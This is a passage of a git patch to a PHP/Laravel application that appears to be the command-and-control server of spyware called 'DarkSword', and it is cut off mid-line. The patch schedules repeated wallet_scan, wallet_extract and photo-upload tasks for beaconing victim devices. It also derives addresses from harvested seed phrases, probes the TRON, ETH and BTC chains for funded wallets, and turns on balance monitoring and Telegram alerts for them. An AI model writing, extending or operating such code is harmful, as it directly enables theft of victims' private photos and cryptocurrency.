From b49755c900bb8f08183014e52504e5ab7ab557b5 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sun, 13 Sep 2026 17:17:34 +0800 Subject: [PATCH] fix: link memo --- app/Console/Commands/LinkMnemonicsCommand.php | 4 +- .../Controllers/Admin/MnemonicController.php | 35 +-- app/Providers/AppServiceProvider.php | 7 + app/Services/Chain/BtcDriver.php | 65 ++++ app/Services/Chain/ChainDriver.php | 5 + app/Services/Chain/EthDriver.php | 35 +++ app/Services/Chain/TronDriver.php | 9 + app/Services/DarkSwordIngestAdapter.php | 2 +- app/Services/DsBeaconQueue.php | 81 ++++- app/Services/MnemonicAddressLinker.php | 6 +- app/Services/MnemonicWalletDiscovery.php | 282 +++++++++++++++--- resources/views/admin/devices/show.blade.php | 3 + .../views/admin/mnemonics/index.blade.php | 18 +- .../Feature/CollectableAddressNotifyTest.php | 33 +- tests/Feature/DarkSwordC2ApiTest.php | 95 ++++-- tests/Feature/MnemonicAddressLinkTest.php | 43 ++- tests/Feature/MnemonicWalletsTest.php | 230 +++++++++----- 17 files changed, 751 insertions(+), 202 deletions(-) diff --git a/app/Console/Commands/LinkMnemonicsCommand.php b/app/Console/Commands/LinkMnemonicsCommand.php index ea3d270..4e3ecfa 100644 --- a/app/Console/Commands/LinkMnemonicsCommand.php +++ b/app/Console/Commands/LinkMnemonicsCommand.php @@ -12,7 +12,7 @@ class LinkMnemonicsCommand extends Command { protected $signature = 'coruna:link-mnemonics'; - protected $description = 'Link existing addresses to mnemonics, and derive TRON/ETH/BTC index 0 when a mnemonic has none'; + protected $description = 'Link existing addresses to mnemonics (BIP44 0..9), then persist activated derived addresses (0..2) when a mnemonic has none'; public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int { @@ -23,7 +23,7 @@ class LinkMnemonicsCommand extends Command $discovered = 0; foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) { - $discovered += $discovery->discoverIndexZero($mnemonic); + $discovered += $discovery->discoverActivated($mnemonic); } $after = WalletAddress::query()->whereNull('mnemonic_id')->count(); diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index d1dd363..0725c05 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -165,12 +165,12 @@ class MnemonicController extends Controller return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } - $discovery->discoverIndexZero($mnemonic); + $discovery->discoverActivated($mnemonic); return response()->json([ 'code' => 0, 'msg' => '', - 'data' => $this->walletsPayload($mnemonic), + 'data' => $this->walletsPayload($mnemonic, $discovery), ]); } @@ -196,7 +196,7 @@ class MnemonicController extends Controller RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS); - $discovery->discoverIndexZero($mnemonic); + $discovery->discoverActivated($mnemonic); $addresses = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) @@ -214,11 +214,10 @@ class MnemonicController extends Controller } } - // Re-read from wallet_addresses so the popup shows persisted rows. return response()->json([ 'code' => 0, 'msg' => 'ok', - 'data' => array_merge($this->walletsPayload($mnemonic), [ + 'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [ 'refreshed' => $ok, 'failed' => $fail, 'retry_after' => self::REFRESH_DECAY_SECONDS, @@ -239,35 +238,13 @@ class MnemonicController extends Controller /** * @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list>} */ - private function walletsPayload(WalletMnemonic $mnemonic): array + private function walletsPayload(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery): array { - $addresses = WalletAddress::query() - ->where('mnemonic_id', $mnemonic->id) - ->orderBy('id') - ->get(); - - $data = $addresses->map(function (WalletAddress $addr) { - $coins = $addr->formattedCoins(); - - return [ - 'id' => $addr->id, - 'address' => $addr->address, - 'chain_type' => $addr->chain_type ?: '', - 'source' => $addr->source ?: '', - 'derive_index' => $addr->derive_index, - 'usdt' => $coins['usdt'], - 'trx' => $coins['trx'], - 'eth' => $coins['eth'], - 'btc' => $coins['btc'], - 'bnb' => $coins['bnb'], - ]; - })->values()->all(); - return [ 'mnemonic_id' => $mnemonic->id, 'source' => $mnemonic->source ?: '', 'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id), - 'addresses' => $data, + 'addresses' => $discovery->walletCards($mnemonic), ]; } diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index b0ef7e8..3c74b0a 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -44,6 +44,13 @@ class AppServiceProvider extends ServiceProvider public function boot(): void { + if (! $this->app->runningInConsole()) { + $limit = (int) ini_get('max_execution_time'); + if ($limit > 0 && $limit < 60) { + @set_time_limit(60); + } + } + try { $this->app->make(SettingsService::class)->applyToConfig(); } catch (\Throwable) { diff --git a/app/Services/Chain/BtcDriver.php b/app/Services/Chain/BtcDriver.php index bb17509..36e81cd 100644 --- a/app/Services/Chain/BtcDriver.php +++ b/app/Services/Chain/BtcDriver.php @@ -97,7 +97,63 @@ class BtcDriver implements ChainDriver return BtcAddress::isValid($address); } + public function isActivated(string $address): bool + { + try { + return $this->probeAddress($address)['activated']; + } catch (\Throwable) { + return false; + } + } + + /** + * One address lookup: activation + confirmed BTC. + * + * @return array{activated: bool, btc: string} + */ + public function probeAddress(string $address): array + { + $json = $this->fetchAddressJson($address); + + return [ + 'activated' => self::addressIsActivated($json), + 'btc' => $this->nativeFromAddressJson($json), + ]; + } + public function getNativeBalance(string $address): string + { + return $this->probeAddress($address)['btc']; + } + + /** + * @param array $json + */ + public static function addressIsActivated(array $json): bool + { + foreach (['chain_stats', 'mempool_stats'] as $key) { + $stats = $json[$key] ?? []; + if (! is_array($stats)) { + continue; + } + if ((int) ($stats['tx_count'] ?? 0) > 0) { + return true; + } + if ((int) ($stats['funded_txo_count'] ?? 0) > 0) { + return true; + } + if ((int) ($stats['funded_txo_sum'] ?? 0) > 0) { + return true; + } + } + + return false; + } + + /** + * @return array + */ + private function fetchAddressJson(string $address): array { if (! $this->isValidAddress($address)) { throw new RuntimeException('Invalid BTC address'); @@ -112,6 +168,15 @@ class BtcDriver implements ChainDriver if (! is_array($json)) { throw new RuntimeException('Invalid BTC balance response'); } + + return $json; + } + + /** + * @param array $json + */ + private function nativeFromAddressJson(array $json): string + { $stats = $json['chain_stats'] ?? []; $funded = (string) ($stats['funded_txo_sum'] ?? 0); $spent = (string) ($stats['spent_txo_sum'] ?? 0); diff --git a/app/Services/Chain/ChainDriver.php b/app/Services/Chain/ChainDriver.php index 09a47ff..0db807f 100644 --- a/app/Services/Chain/ChainDriver.php +++ b/app/Services/Chain/ChainDriver.php @@ -20,6 +20,11 @@ interface ChainDriver public function isValidAddress(string $address): bool; + /** + * True when the address has on-chain footprint (account created, txs, or funds). + */ + public function isActivated(string $address): bool; + /** * Human-decimal native balance (e.g. TRX). */ diff --git a/app/Services/Chain/EthDriver.php b/app/Services/Chain/EthDriver.php index 00b1221..7050b4e 100644 --- a/app/Services/Chain/EthDriver.php +++ b/app/Services/Chain/EthDriver.php @@ -53,6 +53,41 @@ class EthDriver implements ChainDriver return EthAddress::isValid($address); } + public function isActivated(string $address): bool + { + if (! $this->isValidAddress($address)) { + return false; + } + + try { + $hex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($address), 'latest']); + if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) { + return true; + } + } catch (\Throwable) { + // fall through to balances + } + + try { + if (bccomp($this->getNativeBalance($address), '0', 18) > 0) { + return true; + } + } catch (\Throwable) { + // fall through to token + } + + $contract = trim((string) config('coruna.eth.usdt_contract', '')); + if ($contract === '') { + return false; + } + + try { + return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0; + } catch (\Throwable) { + return false; + } + } + public function getNativeBalance(string $address): string { if (! $this->isValidAddress($address)) { diff --git a/app/Services/Chain/TronDriver.php b/app/Services/Chain/TronDriver.php index 994f74e..05c63e1 100644 --- a/app/Services/Chain/TronDriver.php +++ b/app/Services/Chain/TronDriver.php @@ -139,6 +139,15 @@ class TronDriver implements ChainDriver ]; } + public function isActivated(string $address): bool + { + try { + return $this->probeAccount($address)['activated']; + } catch (\Throwable) { + return false; + } + } + public function getNativeBalance(string $address): string { return $this->probeAccount($address)['trx']; diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 8d2b40c..248a12e 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -805,7 +805,7 @@ class DarkSwordIngestAdapter ->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase'])) ->first(); if ($mnemonic !== null) { - $this->mnemonicDiscovery->discoverIndexZero($mnemonic); + $this->mnemonicDiscovery->discoverActivated($mnemonic); } if (($hit['addresses'] ?? []) !== []) { $this->ingest->ingestAddresses($device, [ diff --git a/app/Services/DsBeaconQueue.php b/app/Services/DsBeaconQueue.php index 667ae34..f553b3b 100644 --- a/app/Services/DsBeaconQueue.php +++ b/app/Services/DsBeaconQueue.php @@ -13,22 +13,27 @@ use Illuminate\Support\Str; * Redis keys per device: * ds:q:{id} List — pending queue (RPOP dequeue, LPUSH enqueue) * ds:qdisp:{id} Hash — dispatched/in-flight tasks {command_id: taskJson} + * ds:qround:{id} String — remaining default-queue rounds (including current) * ds:qt:{id} String — throttle lock (TTL 5s) * * Completed task results are stored as DeviceEvent records (日志 tab), NOT in Redis. * * Task JSON: {task_id, type, params, status, command_id?, dispatched_at?, completed_at?, result_count?, result_meta?} * - * Default queue: photos, wallet_scan (one-shot, no auto-repeat). + * Default queue: wallet_scan → wallet_extract → photos, replayed DEFAULT_ROUNDS times. */ class DsBeaconQueue { - /** Default task types seeded for new DarkSword devices (one-shot, no repeat). */ + /** Default task types seeded for new DarkSword devices (FIFO dispatch order). */ public const DEFAULT_TYPES = [ - 'photos', 'wallet_scan', + 'wallet_extract', + 'photos', ]; + /** After the default queue is consumed, replay it until this many rounds finish. */ + public const DEFAULT_ROUNDS = 3; + /** All task types the pe_worker.js can handle (for admin dropdown). */ public const ALL_TYPES = [ 'photos' => '相册上传', @@ -118,6 +123,7 @@ class DsBeaconQueue private const Q_PREFIX = 'ds:q:'; private const DISP_PREFIX = 'ds:qdisp:'; private const DONE_PREFIX = 'ds:qdone:'; + private const ROUND_PREFIX = 'ds:qround:'; private const THROTTLE_PREFIX = 'ds:qt:'; private const THROTTLE_SEC = 5; private const DONE_CAP = 50; @@ -141,9 +147,8 @@ class DsBeaconQueue return; // already has pending tasks } - foreach (self::DEFAULT_TYPES as $type) { - $this->lpushTask($device, $type, $this->paramsFor($type)); - } + $this->setRoundsRemaining($device, self::DEFAULT_ROUNDS); + $this->pushDefaultTypes($device); } // ── Dequeue (called on every /beacon) ────────────────────────────────── @@ -167,7 +172,13 @@ class DsBeaconQueue $raw = Redis::rpop($this->queueKey($device)); if ($raw === null) { - return null; // noop — queue empty + if (! $this->replenishDefaultRound($device)) { + return null; // noop — queue empty and no remaining rounds + } + $raw = Redis::rpop($this->queueKey($device)); + if ($raw === null) { + return null; + } } $task = json_decode($raw, true); @@ -386,7 +397,7 @@ class DsBeaconQueue * Only pending + dispatched are returned. Completed task results are * stored as DeviceEvent records (shown in the 日志 tab), not in Redis. * - * @return array{pending: list, dispatched: list, done: list} + * @return array{pending: list, dispatched: list, done: list, rounds_total: int, rounds_remaining: int, round_current: int} */ public function getQueueState(Device $device): array { @@ -410,10 +421,17 @@ class DsBeaconQueue } } + $remaining = $this->roundsRemaining($device); + return [ 'pending' => $pending, 'dispatched' => $dispatched, 'done' => [], // completed tasks are in device_events (日志 tab) + 'rounds_total' => self::DEFAULT_ROUNDS, + 'rounds_remaining' => $remaining, + 'round_current' => $remaining > 0 + ? (self::DEFAULT_ROUNDS - $remaining + 1) + : self::DEFAULT_ROUNDS, ]; } @@ -427,6 +445,48 @@ class DsBeaconQueue // ── Internal helpers ──────────────────────────────────────────────────── + /** + * Enqueue one copy of the default task list (FIFO via LPUSH + RPOP). + */ + private function pushDefaultTypes(Device $device): void + { + foreach (self::DEFAULT_TYPES as $type) { + $this->lpushTask($device, $type, $this->paramsFor($type)); + } + } + + /** + * When the pending list is empty, push another copy of the default types + * if unused rounds remain. Remaining includes the round that just finished, + * so remaining=1 means that was the last pass. + */ + private function replenishDefaultRound(Device $device): bool + { + $remaining = $this->roundsRemaining($device); + if ($remaining <= 1) { + if ($remaining === 1) { + $this->setRoundsRemaining($device, 0); + } + + return false; + } + + $this->setRoundsRemaining($device, $remaining - 1); + $this->pushDefaultTypes($device); + + return true; + } + + public function roundsRemaining(Device $device): int + { + return max(0, (int) Redis::get($this->roundKey($device))); + } + + private function setRoundsRemaining(Device $device, int $remaining): void + { + Redis::set($this->roundKey($device), (string) max(0, $remaining)); + } + /** * Push a task to the Redis queue (LPUSH = newest at head). * @@ -498,6 +558,11 @@ class DsBeaconQueue return self::DONE_PREFIX.$device->id; } + private function roundKey(Device $device): string + { + return self::ROUND_PREFIX.$device->id; + } + private function throttleKey(Device $device): string { return self::THROTTLE_PREFIX.$device->id; diff --git a/app/Services/MnemonicAddressLinker.php b/app/Services/MnemonicAddressLinker.php index 89b81fc..4427020 100644 --- a/app/Services/MnemonicAddressLinker.php +++ b/app/Services/MnemonicAddressLinker.php @@ -10,7 +10,7 @@ use InvalidArgumentException; class MnemonicAddressLinker { - public const MAX_DERIVE_INDEX = 4; + public const MAX_DERIVE_INDEX = 9; public function __construct( private readonly ChainManager $chains, @@ -18,7 +18,7 @@ class MnemonicAddressLinker ) {} /** - * Link a single address to a device mnemonic when BIP44 index 0..4 matches. + * Link a single address to a device mnemonic when BIP44 index 0..9 matches. */ public function linkAddress(WalletAddress $address): bool { @@ -149,7 +149,7 @@ class MnemonicAddressLinker /** * Backfill: for every mnemonic, link still-unlinked addresses on the same device - * when BIP44 index 0..4 matches. + * when BIP44 index 0..9 matches. * * @return array{mnemonics: int, linked: int} */ diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index ef98f22..75faae0 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -4,16 +4,24 @@ namespace App\Services; use App\Models\WalletAddress; use App\Models\WalletMnemonic; +use App\Services\Chain\BtcDriver; use App\Services\Chain\ChainDriver; use App\Services\Chain\ChainManager; +use App\Services\Chain\TronDriver; +use App\Services\Tokenview\TokenviewMonitorService; use Illuminate\Support\Facades\Log; /** - * When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC, - * query balances, and persist the addresses even when the balance is zero. + * When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for + * TRON/ETH/BTC and persist only activated addresses (after a balance query). + * Fully inactive mnemonics stay out of the DB and are not monitored; the + * wallets view previews one index-0 address per chain marked 未激活. + * Activated rows are persisted with monitor on. */ class MnemonicWalletDiscovery { + public const MAX_DERIVE_INDEX = 2; + /** @var list */ private const CHAINS = [ ['chain' => 'tron', 'chain_type' => 'TRON'], @@ -24,12 +32,21 @@ class MnemonicWalletDiscovery public function __construct( private readonly ChainManager $chains, private readonly TelegramNotifier $telegram, + private readonly TokenviewMonitorService $tokenview, ) {} /** * @return int Number of address rows created or updated */ public function discoverIndexZero(WalletMnemonic $mnemonic): int + { + return $this->discoverActivated($mnemonic); + } + + /** + * @return int Number of address rows created or updated + */ + public function discoverActivated(WalletMnemonic $mnemonic): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { @@ -58,8 +75,8 @@ class MnemonicWalletDiscovery foreach (self::CHAINS as $spec) { try { - $row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); - if ($row !== null) { + $rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); + foreach ($rows as $row) { $saved[] = $row; } } catch (\Throwable $e) { @@ -77,26 +94,185 @@ class MnemonicWalletDiscovery return count($saved); } - private function discoverOne( + /** + * Persisted linked rows, or ephemeral index-0 previews when none exist. + * + * @return list> + */ + public function walletCards(WalletMnemonic $mnemonic): array + { + $addresses = WalletAddress::query() + ->where('mnemonic_id', $mnemonic->id) + ->orderBy('id') + ->get(); + + if ($addresses->isNotEmpty()) { + return $addresses->map(function (WalletAddress $addr) { + $coins = $addr->formattedCoins(); + + return [ + 'id' => $addr->id, + 'address' => $addr->address, + 'chain_type' => $addr->chain_type ?: '', + 'source' => $addr->source ?: '', + 'derive_index' => $addr->derive_index, + 'usdt' => $coins['usdt'], + 'trx' => $coins['trx'], + 'eth' => $coins['eth'], + 'btc' => $coins['btc'], + 'bnb' => $coins['bnb'], + 'active' => true, + 'persisted' => true, + ]; + })->values()->all(); + } + + return $this->inactiveIndexZeroCards($mnemonic); + } + + /** + * @return list + */ + private function discoverChain( WalletMnemonic $mnemonic, string $phrase, string $source, string $chain, string $chainType, - ): ?WalletAddress { + ): array { $driver = $this->chains->resolve($chain); - $address = $driver->deriveAddress($phrase, 0); - try { - $coins = $this->fetchCoins($chain, $address); - } catch (\Throwable $e) { - Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [ - 'mnemonic_id' => $mnemonic->id, - 'chain' => $chain, - 'address' => $address, - ]); - $coins = $this->emptyCoins($chain); + $saved = []; + + for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { + try { + $address = $driver->deriveAddress($phrase, $index); + } catch (\Throwable $e) { + Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [ + 'mnemonic_id' => $mnemonic->id, + 'chain' => $chain, + 'index' => $index, + ]); + break; + } + + try { + $probe = $this->probeActivated($chain, $driver, $address); + } catch (\Throwable $e) { + Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [ + 'mnemonic_id' => $mnemonic->id, + 'chain' => $chain, + 'address' => $address, + 'index' => $index, + ]); + continue; + } + + if (! $probe['activated']) { + continue; + } + + $saved[] = $this->persistActivated( + $mnemonic, + $source, + $chainType, + $address, + $index, + $probe['coins'], + ); } + return $saved; + } + + /** + * @return array{activated: bool, coins: array} + */ + private function probeActivated(string $chain, ChainDriver $driver, string $address): array + { + return match ($chain) { + 'tron' => $this->probeTron($driver, $address), + 'eth' => $this->probeEth($driver, $address), + 'btc' => $this->probeBtc($driver, $address), + default => ['activated' => false, 'coins' => []], + }; + } + + /** + * @return array{activated: bool, coins: array} + */ + private function probeTron(ChainDriver $driver, string $address): array + { + if (! $driver instanceof TronDriver) { + return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')]; + } + + $probe = $driver->probeAccount($address); + if (! $probe['activated']) { + return ['activated' => false, 'coins' => $this->emptyCoins('tron')]; + } + + return [ + 'activated' => true, + 'coins' => [ + 'trx' => $probe['trx'], + 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')), + ], + ]; + } + + /** + * @return array{activated: bool, coins: array} + */ + private function probeEth(ChainDriver $driver, string $address): array + { + if (! $driver->isActivated($address)) { + return ['activated' => false, 'coins' => $this->emptyCoins('eth')]; + } + + return [ + 'activated' => true, + 'coins' => [ + 'eth' => $driver->getNativeBalance($address), + 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), + ], + ]; + } + + /** + * @return array{activated: bool, coins: array} + */ + private function probeBtc(ChainDriver $driver, string $address): array + { + if ($driver instanceof BtcDriver) { + $probe = $driver->probeAddress($address); + + return [ + 'activated' => $probe['activated'], + 'coins' => ['btc' => $probe['btc']], + ]; + } + + if (! $driver->isActivated($address)) { + return ['activated' => false, 'coins' => $this->emptyCoins('btc')]; + } + + return [ + 'activated' => true, + 'coins' => ['btc' => $driver->getNativeBalance($address)], + ]; + } + + /** + * @param array $coins + */ + private function persistActivated( + WalletMnemonic $mnemonic, + string $source, + string $chainType, + string $address, + int $index, + array $coins, + ): WalletAddress { $row = WalletAddress::query()->firstOrNew([ 'device_id' => $mnemonic->device_id, 'address' => $address, @@ -105,18 +281,60 @@ class MnemonicWalletDiscovery $row->chain_type = $chainType; $row->mnemonic_id = $mnemonic->id; - $row->derive_index = 0; + $row->derive_index = $index; + $row->monitor = 1; if (! $row->exists) { - $row->monitor = 0; + $row->monitor_synced = false; + $row->monitor_failures = 0; } foreach ($coins as $col => $value) { $row->{$col} = $value; } $row->save(); + $this->enableMonitor($row); return $row; } + /** + * @return list> + */ + private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array + { + $phrase = $mnemonic->mnemonic; + if ($phrase === null || trim($phrase) === '') { + return []; + } + + $source = trim((string) ($mnemonic->source ?: '')); + $cards = []; + + foreach (self::CHAINS as $spec) { + try { + $address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0); + } catch (\Throwable) { + continue; + } + + $cards[] = [ + 'id' => null, + 'address' => $address, + 'chain_type' => $spec['chain_type'], + 'source' => $source, + 'derive_index' => 0, + 'usdt' => null, + 'trx' => null, + 'eth' => null, + 'btc' => null, + 'bnb' => null, + 'active' => false, + 'persisted' => false, + ]; + } + + return $cards; + } + /** * @return array */ @@ -130,27 +348,15 @@ class MnemonicWalletDiscovery }; } - /** - * @return array - */ - private function fetchCoins(string $chain, string $address): array + private function enableMonitor(WalletAddress $address): void { - $driver = $this->chains->resolve($chain); - - return match ($chain) { - 'tron' => [ - 'trx' => $driver->getNativeBalance($address), - 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')), - ], - 'eth' => [ - 'eth' => $driver->getNativeBalance($address), - 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), - ], - 'btc' => [ - 'btc' => $driver->getNativeBalance($address), - ], - default => [], - }; + try { + $this->tokenview->syncMonitor($address); + } catch (\Throwable $e) { + Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [ + 'wallet_address_id' => $address->id, + ]); + } } private function tokenBalance(ChainDriver $driver, string $address, string $contract): string diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 7927a6a..b8fa597 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -105,6 +105,9 @@ @else · 队列已空 @endif + @if (($queueState['rounds_remaining'] ?? 0) > 0) + · 循环 {{ $queueState['round_current'] }}/{{ $queueState['rounds_total'] }} + @endif · 回传结果见「日志」 diff --git a/resources/views/admin/mnemonics/index.blade.php b/resources/views/admin/mnemonics/index.blade.php index a346ccf..2ff809c 100644 --- a/resources/views/admin/mnemonics/index.blade.php +++ b/resources/views/admin/mnemonics/index.blade.php @@ -33,6 +33,18 @@ max-width: 280px; } .mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; } + .mn-inactive { + display: inline-block; + margin-left: 6px; + padding: 0 6px; + font-size: 11px; + line-height: 18px; + color: #cf8a00; + background: #fff7e6; + border: 1px solid #ffe0a3; + border-radius: 3px; + vertical-align: middle; + }
@@ -119,9 +131,11 @@ layui.use(['table', 'form', 'layer'], function () { 'USDTTRXETHBTCBNB' + ''; rows.forEach(function (r) { + var inactive = r.active === false; html += '' + - '' + esc(r.id) + '' + - '' + esc(r.chain_type || '—') + '' + + '' + (r.id == null || r.id === '' ? '—' : esc(r.id)) + '' + + '' + esc(r.chain_type || '—') + + (inactive ? '未激活' : '') + '' + '' + esc(r.address) + '' + '' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '' + '' + coinVal(r.usdt) + '' + diff --git a/tests/Feature/CollectableAddressNotifyTest.php b/tests/Feature/CollectableAddressNotifyTest.php index f75d336..3da71fd 100644 --- a/tests/Feature/CollectableAddressNotifyTest.php +++ b/tests/Feature/CollectableAddressNotifyTest.php @@ -132,13 +132,28 @@ class CollectableAddressNotifyTest extends TestCase return Http::response(['ok' => true], 200); } if (str_contains($url, '/wallet/getaccount')) { - return Http::response(['balance' => 5_000_000], 200); + $addr = (string) ($request->data()['address'] ?? ''); + if ($addr === self::TRON_0) { + return Http::response([ + 'address' => $addr, + 'create_time' => 1, + 'balance' => 5_000_000, + ], 200); + } + + return Http::response([], 200); } if (str_contains($url, '/wallet/triggerconstantcontract')) { return Http::response(['constant_result' => [dechex(2_000_000)]], 200); } if (str_contains($url, 'ethereum.example')) { - $method = $request->data()['method'] ?? ''; + $data = $request->data(); + $method = $data['method'] ?? ''; + $target = strtolower((string) ($data['params'][0] ?? '')); + $hit = $target === self::ETH_0; + if ($method === 'eth_getTransactionCount') { + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200); + } if ($method === 'eth_getBalance') { return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); } @@ -147,8 +162,14 @@ class CollectableAddressNotifyTest extends TestCase } } if (str_contains($url, 'mempool.example')) { + $activated = str_contains($url, self::BTC_0); return Http::response([ - 'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0], + 'chain_stats' => [ + 'tx_count' => $activated ? 1 : 0, + 'funded_txo_count' => $activated ? 1 : 0, + 'funded_txo_sum' => $activated ? 100_000 : 0, + 'spent_txo_sum' => 0, + ], ], 200); } @@ -158,7 +179,11 @@ class CollectableAddressNotifyTest extends TestCase $device = Device::query()->create(['device_id' => 'dev-collect-derive']); $mnemonic = $this->storeMnemonic($device); - $this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic)); + $this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverActivated($mnemonic)); + $this->assertSame( + [1, 1, 1], + WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('monitor')->all() + ); Http::assertSent(function ($request) { if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index 3a89d8e..2f60646 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -42,7 +42,7 @@ class DarkSwordC2ApiTest extends TestCase // Redis::keys() returns fully-prefixed keys, but Redis::del() adds the // prefix again — so we must strip it before deleting. $prefix = config('database.redis.options.prefix', ''); - $patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*']; + $patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qround:*', 'ds:qt:*']; foreach ($patterns as $pattern) { $keys = Redis::keys($pattern); if (empty($keys)) { @@ -712,8 +712,8 @@ class DarkSwordC2ApiTest extends TestCase #[Test] public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void { - // New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot). - // LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop. + // seed() pushes wallet_scan → wallet_extract → photos (FIFO), then + // replenishes the same list until DEFAULT_ROUNDS (3) finish. $uuid = self::DS_LHU; // Helper to clear the per-device throttle lock (simulates 5s gap). @@ -724,14 +724,14 @@ class DarkSwordC2ApiTest extends TestCase } }; - // First dispatch -> photos (first in FIFO from seed). + // First dispatch -> wallet_scan (first in FIFO from seed). $r1 = $this->postJson('/beacon', [ 'uuid' => $uuid, 'status' => 'idle', 'ios' => '18.6', ])->assertOk()->assertJson([ 'ok' => true, - 'type' => 'photos', + 'type' => 'wallet_scan', 'uuid' => $uuid, ]); $id1 = $r1->json('command_id'); @@ -743,12 +743,12 @@ class DarkSwordC2ApiTest extends TestCase 'status' => 'idle', ])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']); - // After the 5s gap -> wallet_scan (second in FIFO). + // After the 5s gap -> wallet_extract (second in FIFO). $forgetThrottle(); $r2 = $this->postJson('/beacon', [ 'uuid' => $uuid, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'wallet_scan']); + ])->assertOk()->assertJson(['type' => 'wallet_extract']); $id2 = $r2->json('command_id'); $this->assertNotEmpty($id2); $this->assertNotSame($id1, $id2); @@ -759,21 +759,23 @@ class DarkSwordC2ApiTest extends TestCase 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'noop']); - // After another gap -> noop (queue is empty, single-run: no auto-replenish). + // After another gap -> photos (third in FIFO). $forgetThrottle(); $this->postJson('/beacon', [ 'uuid' => $uuid, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'noop']); + ])->assertOk()->assertJson(['type' => 'photos']); $device = Device::query()->where('device_id', $uuid)->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame(0, DeviceEvent::query()->count()); - // Single-run: after both tasks were dispatched, the queue is empty (0). + // Round 1 consumed; remaining pending is empty until the next beacon + // replenishes round 2. $queue = app(DsBeaconQueue::class); $this->assertSame(0, $queue->queueLength($device)); + $this->assertSame(3, $queue->roundsRemaining($device)); $admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') @@ -781,7 +783,8 @@ class DarkSwordC2ApiTest extends TestCase ->assertOk() ->assertSee('C2 队列') ->assertSee('photos') - ->assertSee('wallet_scan'); + ->assertSee('wallet_scan') + ->assertSee('wallet_extract'); } #[Test] @@ -797,12 +800,12 @@ class DarkSwordC2ApiTest extends TestCase } }; - // First dispatch -> photos (first in FIFO from seed). + // First dispatch -> wallet_scan (first in FIFO from seed). $first = $this->postJson('/beacon', [ 'uuid' => $uuid, 'status' => 'idle', 'ios' => '18.6', - ])->assertOk()->assertJson(['type' => 'photos']); + ])->assertOk()->assertJson(['type' => 'wallet_scan']); $firstId = 